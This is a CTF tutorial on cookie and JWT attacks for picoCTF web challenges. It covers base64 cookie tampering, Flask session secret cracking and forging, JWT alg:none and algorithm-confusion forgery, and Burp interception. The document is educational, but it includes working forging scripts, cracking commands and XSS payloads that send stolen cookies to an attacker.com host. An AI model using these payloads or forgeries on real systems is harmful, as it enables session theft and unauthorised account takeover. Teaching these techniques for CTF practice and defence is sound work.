April 13, 2026

Cookie and JWT Attacks for CTF Web Challenges (picoCTF Guide)

A complete guide to web cookie and JWT attacks for CTF competitions: session hijacking, base64-encoded cookies, Flask signed sessions, JWT alg:none and confusion attacks, and Burp Suite interception - with picoCTF challenge links throughout.

Introduction

Cookies and session tokens are the backbone of web authentication. Almost every picoCTF web challenge that involves a "logged in" state, an admin panel, or a "secret" page is gated behind a cookie value. Knowing how to read, modify, forge, and crack those cookies is the single most useful web exploitation skill you can develop for CTF competitions.

This guide covers the full attack surface: plain cookie manipulation, base64-encoded session data, Flask signed sessions, and JSON Web Tokens (JWTs). Each section goes from theory to working exploit, with step-by-step examples and direct links to the picoCTF writeups where each technique appears.

If you are also studying SQL injection alongside this guide, the two attack categories complement each other perfectly: SQLi gets you past the login form, cookie attacks let you escalate privileges once you are inside.

Cookie manipulationEasy

When to use: Session value is visible and predictable (plain text, base64, or JSON)

Flask session crackingMedium

When to use: Cookie starts with a dot and contains two periods (eyJ...)

JWT alg:none attackEasy

When to use: Server accepts unsigned tokens - change alg to none and strip the signature

JWT secret brute-forceMedium

When to use: HS256 token with a weak or guessable secret key

JWT algorithm confusionHard

When to use: Server accepts both RS256 and HS256 and you have the public key

Session hijacking and cookie inspection

The first thing to do in any web CTF challenge is inspect the cookies. Many beginner-level challenges store the privilege level (or even the flag) directly in a cookie value that you can just edit.

Browser DevTools

Open DevTools (F12), go to the Application tab (Chrome) or Storage tab (Firefox), and click on Cookies in the left panel. You will see every cookie for the current domain, including HttpOnly ones. You can double-click any value to edit it directly.

# In the browser console (only works if HttpOnly is NOT set):
document.cookie
// Returns: 'session=guest; theme=dark'
# Set a new value:
document.cookie = 'session=admin'
# View all cookies including HttpOnly ones:
# DevTools -> Application -> Storage -> Cookies -> [domain]

Common CTF cookie patterns to look for

# Plain text role value - just change it:
Cookie: role=guest
# -> Change to: role=admin
# Numeric user ID - try 0 or 1 for admin:
Cookie: user_id=42
# -> Change to: user_id=1
# Boolean flag:
Cookie: is_admin=false
# -> Change to: is_admin=true

XSS-based cookie theft

When an application reflects user input without sanitization, you can inject a script that exfiltrates another user's cookie. This only works if the target cookie does not have HttpOnly.

# Injected into a comment field or URL parameter:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Or using fetch for a cleaner exfil:
<script>fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))</script>
# The attacker's server logs the incoming request and reads the cookie from ?c=

Base64-encoded session cookies

A very common CTF pattern: the session data is not encrypted or signed - it is just JSON or a plain string encoded in base64. The application trusts whatever it decodes, so you encode a modified value and the server accepts it as legitimate.

Recognizing a base64 cookie is easy: the value will only contain characters A-Z a-z 0-9 + / =, and it often ends with one or two = padding characters. See the CTF encodings guide for a deeper look at base64 and how to recognize it.

Decode and re-encode in the browser

// Decode in browser console:
atob('eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9')
// -> '{"user":"guest","admin":false}'
// Modify and re-encode:
btoa('{"user":"guest","admin":true}')
// -> 'eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6dHJ1ZX0='
// Set the new cookie:
document.cookie = 'session=eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6dHJ1ZX0='

Decode and re-encode in Python

import base64, json
# Decode
raw = base64.b64decode('eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9')
data = json.loads(raw)
print(data) # {'user': 'guest', 'admin': False}
# Modify
data['admin'] = True
# Re-encode
new_cookie = base64.b64encode(json.dumps(data).encode()).decode()
print(new_cookie) # eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6dHJ1ZX0=

What to check if re-encoding fails

If the server rejects your modified cookie, the application is probably verifying a signature. Look for a dot-separated format (Flask sessions) or three-part format (JWTs) - those are covered in the next two sections.

Flask signed session cookies

Flask stores session data client-side in a cookie that is base64-encoded and then signed with HMAC-SHA1 using a secret key. If you do not know the secret key, you cannot forge a valid signature. But if the secret key is weak or default, you can crack it.

Recognizing a Flask session cookie

Flask session cookies have a very distinctive format: they start with a dot and contain exactly two more dots separating three base64 segments.

# Flask session cookie structure:
.eyJ1c2VyIjoiZ3Vlc3QifQ.ZxYzAb.abc123signature
^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^ ^^^^^^^^^^^^^
base64(JSON payload) timestamp HMAC-SHA1 sig
# Decode the first segment (without the leading dot):
import base64
payload = 'eyJ1c2VyIjoiZ3Vlc3QifQ'
# Add padding if needed
payload += '=' * (4 - len(payload) % 4)
print(base64.b64decode(payload)) # b'{"user":"guest"}'

flask-unsign: decode and crack

flask-unsign is the standard CTF tool for Flask cookie attacks. It can decode the session payload, verify a known secret, and brute-force the secret key against a wordlist.

pip install flask-unsign
# Step 1: decode the payload (no key needed)
flask-unsign --decode --cookie '.eyJ1c2VyIjoiZ3Vlc3QifQ.ZxYzAb.abc123'
# Output: {'user': 'guest'}
# Step 2: crack the secret key with a wordlist
flask-unsign --unsign --cookie '.eyJ1c2VyIjoiZ3Vlc3QifQ.ZxYzAb.abc123' \
--wordlist /usr/share/wordlists/rockyou.txt
# [*] Session decodes to: {'user': 'guest'}
# [+] Found secret key: supersecret
# Step 3: forge a new cookie with the cracked secret
flask-unsign --sign --cookie "{'user': 'admin'}" --secret 'supersecret'
# Output: .eyJ1c2VyIjoiYWRtaW4ifQ.ZxYzAb.newSignatureHere

Full worked example

Imagine a Flask app sets this cookie on login as a guest user:

Set-Cookie: session=.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJndWVzdCJ9.Zf1a2b.XyZ9QrKmPwNaBcD
# Decode to see the payload:
flask-unsign --decode --cookie '.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJndWVzdCJ9.Zf1a2b.XyZ9QrKmPwNaBcD'
# {'user': 'user', 'role': 'guest'}
# Crack the secret (try common CTF secrets first):
flask-unsign --unsign \
--cookie '.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJndWVzdCJ9.Zf1a2b.XyZ9QrKmPwNaBcD' \
--wordlist rockyou.txt --no-literal-eval
# [+] Found secret key: 'secret'
# Forge an admin session:
flask-unsign --sign --cookie "{'user': 'admin', 'role': 'admin'}" --secret 'secret'
# .eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.Zf9z1b.FORGED_SIGNATURE
# Use the forged cookie in the browser or with curl:
curl -b 'session=.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.Zf9z1b.FORGED_SIGNATURE' \
http://target/admin
Common CTF Flask secret keys: Many challenge authors use trivially guessable secrets. Try these before running a full wordlist: secret, supersecret, flask-secret, dev, key, secret_key, the app name, or the challenge name. Also look at the source code if it is provided - the secret is often hardcoded.

JWT structure and decoding

A JSON Web Token (JWT) is a self-contained token format used for authentication and authorization. Unlike Flask sessions, JWTs are a standardized open format (RFC 7519) used by many frameworks beyond Python. They appear constantly in modern web CTF challenges.

Three-part structure

A JWT consists of three base64url-encoded segments separated by periods:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
HEADER (base64url) PAYLOAD (base64url) SIGNATURE (base64url)
# Header (decoded):
{
"alg": "HS256", // signing algorithm - THIS IS THE KEY FIELD FOR ATTACKS
"typ": "JWT"
}
# Payload (decoded):
{
"user": "guest",
"admin": false,
"iat": 1712000000, // issued at timestamp
"exp": 1712086400 // expiry timestamp
}
# Signature:
HMAC-SHA256(base64url(header) + '.' + base64url(payload), secret_key)

Decoding a JWT instantly

Paste any JWT into jwt.io to decode the header and payload without needing the secret. You can also do it in Python:

import base64, json
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9.SflK...'
def decode_part(part):
# base64url uses - and _ instead of + and /
part += '=' * (4 - len(part) % 4) # fix padding
return json.loads(base64.urlsafe_b64decode(part))
header, payload, sig = token.split('.')
print(decode_part(header)) # {'alg': 'HS256', 'typ': 'JWT'}
print(decode_part(payload)) # {'user': 'guest', 'admin': False}
Key insight: The alg field in the header tells the server which algorithm to use when verifying the signature. Many JWT attacks work by manipulating this field. The server should validate that the alg matches what it expects, but many vulnerable applications just trust whatever the token says.

JWT attacks

Attack 1: alg:none - unsigned token forgery

The JWT specification allows an algorithm value of none, meaning the token is not signed at all. Vulnerable servers that implement this accept any token with "alg":"none" and an empty signature. This lets you forge any payload without knowing any secret key.

import base64, json
def b64url_encode(data: dict) -> str:
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode())
.rstrip(b'=').decode()
# Step 1: craft forged header with alg:none
header = b64url_encode({'alg': 'none', 'typ': 'JWT'})
# Step 2: craft payload with elevated privileges
payload = b64url_encode({'user': 'guest', 'admin': True, 'iat': 1712000000})
# Step 3: empty signature (just a trailing dot)
forged_token = f'{header}.{payload}.'
print(forged_token)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6dHJ1ZX0.
# Use it in a request:
# curl -H 'Authorization: Bearer eyJhbGciOiJub25lIi...' http://target/admin
Tip: Some servers only reject none when it is lowercase. Try None, NONE, and nOnE if the lowercase version is rejected.

Attack 2: weak secret brute-force (HS256)

HS256 tokens are signed with a shared secret. If that secret is in a common wordlist, you can crack it with hashcat or john and then forge any payload you want.

# Using hashcat (mode 16500 = JWT HS256/HS384/HS512)
hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.SIGNATURE' \
/usr/share/wordlists/rockyou.txt
# Using john the ripper:
echo 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.SIGNATURE' > jwt.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt
# Once you have the secret, sign a forged token:
pip install PyJWT
import jwt
payload = {'user': 'admin', 'admin': True}
token = jwt.encode(payload, 'cracked_secret', algorithm='HS256')
print(token)

For more on hash cracking techniques and wordlist selection, see the hash cracking guide.

Attack 3: RS256 to HS256 algorithm confusion

This is a more advanced attack that exploits servers configured for RS256 (asymmetric signing with a private key) but that also accept HS256. The trick: if you can obtain the server's RSA public key, you sign an HS256 token using that public key as the HMAC secret. The server verifies it as HS256 using its own public key (which it knows) and accepts it as valid.

# 1. Obtain the server's public key
# Check: /jwks.json, /.well-known/jwks.json, /api/auth/keys
curl http://target/.well-known/jwks.json
# 2. Convert the JWK to PEM format (use jwt_tool or Python cryptography library)
pip install jwt_tool
python3 jwt_tool.py TOKEN -X k -pk public_key.pem
# Manually with Python:
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt, base64
with open('public_key.pem', 'rb') as f:
public_key_bytes = f.read()
# Sign the forged token with HS256 using the public key as the secret
forged = jwt.encode(
{'user': 'admin', 'admin': True},
public_key_bytes,
algorithm='HS256'
)
print(forged)

jwt_tool: all-in-one JWT attack tool

pip install jwt_tool
# Decode a token
python3 jwt_tool.py TOKEN
# Try alg:none attack automatically
python3 jwt_tool.py TOKEN -X a
# Brute-force the HS256 secret
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
# RS256 -> HS256 confusion with a known public key
python3 jwt_tool.py TOKEN -X k -pk public_key.pem

Burp Suite: intercepting and modifying cookies

Burp Suite is the standard proxy tool for web CTF challenges. It sits between your browser and the server, letting you read, modify, and replay any HTTP request including its cookies.

Basic intercept workflow

# Setup (one-time):
1. Open Burp Suite Community Edition
2. Proxy -> Options -> confirm listener is on 127.0.0.1:8080
3. Configure your browser to use proxy 127.0.0.1:8080
(or use Burp's built-in browser at Proxy -> Open Browser)
4. Install Burp's CA certificate to avoid TLS warnings:
Visit http://burpsuite and download the certificate
# Intercept a request:
1. Proxy -> Intercept -> 'Intercept is on'
2. Navigate to the target page in your browser
3. Burp captures the request before it reaches the server
4. Edit the Cookie header directly in the Intercept tab
5. Click 'Forward' to send the modified request

Repeater: iterate without intercepting

Right-click any request in Proxy history and send it to the Repeater tab. From there you can modify cookies and other headers, resend the request, and compare responses without needing to navigate in the browser each time.

# In Repeater, find the Cookie header:
GET /admin HTTP/1.1
Host: target.ctf.io
Cookie: session=eyJ1c2VyIjoiZ3Vlc3QifQ==
# Change the cookie value and click Send:
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==
# The Response panel shows what the server returns
# Look for the flag in the response body

Match-and-replace rules

If you want to automatically replace a cookie value on every request without manually intercepting each one, use Burp's match-and-replace rules.

# Proxy -> Options -> Match and Replace -> Add
Type: Request header
Match: Cookie: session=.*
Replace: Cookie: session=YOUR_FORGED_VALUE
# Now every request automatically uses your forged cookie
# Browse the site normally and the replacement happens transparently

Using curl instead of Burp

For quick tests you can use curl directly from the terminal without setting up a proxy at all.

# Send a request with a custom cookie:
curl -b 'session=eyJ1c2VyIjoiYWRtaW4ifQ==' http://target.ctf.io/admin
# Follow redirects and show response headers:
curl -L -v -b 'session=FORGED' http://target.ctf.io/dashboard
# POST with cookie and form data:
curl -X POST -b 'session=FORGED' -d 'action=get_flag' http://target.ctf.io/api

Decision tree: which attack to use

When you find a cookie in a web challenge, use this decision tree to identify the right attack path:

Step 1: What does the cookie value look like?

Plain text (role=guest, admin=false)

Just change the value in DevTools or Burp. This is the simplest case.

base64 only (ends in = or ==)

Decode with atob() or Python, modify the JSON/text, re-encode, and set the new value.

Starts with a dot (.eyJ...)

Flask signed session. Use flask-unsign to decode, crack the secret, then forge.

Three parts separated by dots (eyJ...eyJ...sig)

JWT. Decode at jwt.io, check the alg field, then proceed to JWT attacks below.

Step 2 (JWT only): What algorithm does the header claim?

HS256 / HS384 / HS512

Try alg:none first. If that fails, brute-force the secret with hashcat mode 16500.

RS256 / RS512

Look for the public key at /jwks.json. Try the RS256-to-HS256 confusion attack.

none (already set)

The server may already accept unsigned tokens. Just modify the payload and send.

Step 3: Check for flag security misconfigurations

Open DevTools - Application - Cookies. For each session cookie, check:

  • No HttpOnly checkmark = JavaScript can read it = XSS theft possible
  • No Secure checkmark = sent over HTTP = Burp intercept possible
  • No SameSite = cross-site requests carry the cookie = CSRF possible

CyberChef recipes for common cookie formats

CyberChef (gchq.github.io/CyberChef) is an excellent browser-based tool for decoding and re-encoding cookie values. Here are the exact recipe chains for the formats you will see most often in CTF challenges.

Base64-encoded JSON cookie

Recipe to decode:

From Base64 -> JSON Beautify

Recipe to re-encode after editing:

JSON Minify -> To Base64

URL-encoded cookie value

Some apps URL-encode the cookie value (spaces become %20, etc.):

URL Decode -> From Base64 -> JSON Beautify

JWT payload decode (without verification)

Paste the middle segment (between the two dots) and apply:

From Base64url -> JSON Beautify

Note: use Base64url not plain Base64 - JWT uses - and _ instead of + and /.

Hex-encoded cookie value

Some PHP apps hex-encode session data:

From Hex -> JSON Beautify (or just view as UTF-8 text)

Double-encoded cookie

Occasionally you will see base64 inside base64. Keep decoding until you hit readable content:

From Base64 -> From Base64 -> JSON Beautify
Pro tip: In CyberChef you can chain operations and the output updates live as you type. Use the Magic operation to auto-detect the encoding if you are unsure what format you are dealing with. The CTF encodings guide covers the full encoding taxonomy.

picoCTF cookie and session challenges

The following picoCTF challenges directly test the techniques covered in this guide. They are ordered roughly from easiest to hardest.

2025 Web challenges

cookie-monster-secret-recipe involves reading and modifying a base64-encoded cookie value. head-dump tests reading response headers and cookies via a non-standard endpoint. n0s4n1ty-1 tests XSS and cookie theft.

2024 Web challenges

Tests the ability to extract information from HTTP response headers, including cookie-related headers that reveal session structure.

General approach for any web challenge: Before reading the writeup, try this checklist: (1) log in as a normal user and open DevTools cookies, (2) look at the cookie value and identify its format, (3) try modifying the role or admin field, (4) if the cookie is signed, try to find or crack the secret key from the source code or wordlist.

Quick reference cheat sheet

ScenarioTool / techniqueCommand
Plain text cookie valueDevTools / BurpEdit in Application tab or Repeater
Base64-encoded cookieBrowser consoleatob(val) / btoa(modified)
Base64 cookie (Python)Python stdlibbase64.b64decode() / b64encode()
Flask session decodeflask-unsignflask-unsign --decode --cookie TOKEN
Flask secret key crackflask-unsignflask-unsign --unsign --wordlist rockyou.txt
Flask session forgeflask-unsignflask-unsign --sign --cookie DICT --secret KEY
JWT decodejwt.io / pythonPaste at jwt.io or base64url decode each part
JWT alg:none attackjwt_tool / manualjwt_tool.py TOKEN -X a
JWT secret brute-forcehashcathashcat -m 16500 TOKEN wordlist.txt
JWT RS256 confusionjwt_tooljwt_tool.py TOKEN -X k -pk pubkey.pem
Cookie theft via XSSPayload injection<img src=x onerror="...document.cookie">
Intercept and modifyBurp RepeaterRight-click request - Send to Repeater
Send custom cookie with curlcurlcurl -b 'session=VALUE' http://target/

Tool install summary

pip install flask-unsign # Flask cookie attacks
pip install PyJWT # forge HS256 tokens
pip install jwt_tool # all-in-one JWT attacks
sudo apt install hashcat # brute-force HS256 secrets
sudo apt install john # alternative cracker
# Burp Suite Community: portswigger.net/burp/communitydownload

Common weak Flask secrets to try first

secret
supersecret
flask-secret
dev
key
secret_key
password
admin
[challenge name]
[app name from source code]